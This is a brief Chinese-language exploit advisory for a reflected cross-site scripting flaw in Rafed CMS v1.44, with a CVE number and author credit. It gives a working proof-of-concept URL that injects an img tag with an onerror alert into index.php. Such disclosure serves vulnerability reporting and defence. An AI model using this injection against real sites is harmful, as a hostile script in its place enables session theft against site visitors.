CVE-2024-55060

Rafed CMS网站v1.44 - 跨站脚本（XSS）

漏洞利用标题：Rafed CMS网站v1.44 - 跨站脚本（XSS）

日期：2024-03-12

CVE编号：CVE-2024-55060

漏洞利用作者：Abdulaziz Saad (@b4zb0z)

厂商主页：https://www.rafed-system.org/

软件链接：N/A

版本：1.44

测试环境：Apache, Linux

---

[#] 漏洞位置：

index.php?">{XSS_Payload] 位于 index.php

---

[#] 漏洞利用：

https://localhost/?%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E